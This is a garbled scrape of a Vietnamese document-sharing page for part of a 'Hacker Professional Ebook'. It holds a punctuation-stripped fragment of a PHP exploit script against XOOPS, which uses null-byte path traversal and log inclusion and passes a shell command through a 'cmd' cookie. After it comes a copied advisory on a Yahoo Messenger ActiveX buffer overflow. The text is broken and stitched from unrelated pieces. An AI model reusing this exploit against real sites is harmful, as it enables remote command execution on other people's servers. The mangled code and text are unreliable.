TAILIEUCHUNG - Hacker Professional Ebook part 443

Tham khảo tài liệu 'hacker professional ebook part 443', công nghệ thông tin, kỹ thuật lập trình phục vụ nhu cầu học tập, nghiên cứu và làm việc hiệu quả | . . . . . . . . . . . var log access_log . . . . . . . . . . . var log error_log xpl array xoopsOption nocommon 1 xoopsConfig language xoopsOption nocommon 1 xoopsConfig theme_set for j 0 j count xpl -1 j for i 0 i count paths -1 i a i 2 echo . a. Trying with . xpl j . paths i . 00 r n packet GET . p. xpl j . paths i . 00 HTTP r n packet. Host . host. r n packet. Cookie cmd . cmd. r n packet. Connection Close r n r n debug echo quick_dump packet sendpacketii packet if strstr html delim echo Exploit succeeded. r n temp explode delim html die temp 1 if you are here. echo Exploit failed. micimacko HCE Yahoo Messenger YMailAttach ActiveX control buffer overflow Nguôn http vuls id 901852 Vulnerability Note VU 901852 Yahoo Messenger YMailAttach ActiveX control buffer overflow Overview The Yahoo Messenger YMailAttach ActiveX control contains a buffer overflow which could allow a remote unauthenticated attacker to execute arbitrary code on a vulnerable system. I. Description Yahoo Messenger is an instant messaging application. Yahoo Messenger includes several ActiveX controls. The YMailAttach ActiveX control which is provided by contains a buffer overflow vulnerability. II. Impact By convincing a user to view a specially crafted HTML document . a web page or an HTML email message or attachment an attacker may be able to execute arbitrary code with the privileges of the user. The attacker could also cause Internet Explorer or the program using the WebBrowser control to crash. III. Solution Apply an update As specified in the Yahoo Security Update this issue is addressed in versions of Yahoo Messenger from Nov 2nd 2006 or later. Version or higher of contains the fix. Disable the YMailAttach ActiveX control in Internet Explorer The Yahoo YMailAttach ActiveX control can be disabled in Internet Explorer by setting the kill bit for the following CLSID AA218328-0EA8-4D70-8972-E987A9190FF4 More information

• Kỹ thuật lập trình
• thủ thuật lập trình
• tài liệu lập trình
• thủ thuật hack
• hướng dẫn hack
• công cụ hack
• Hacker Professional Ebook
• kỹ thuật lập trình
• kỹ năng lập trình
• bí quyết lập trình
• phương pháp lập trình
• tư liệu lập trình
• kĩ thuật lập trình
• hướng dẫn lập trình
• kĩ năng lập trình
• AutoIT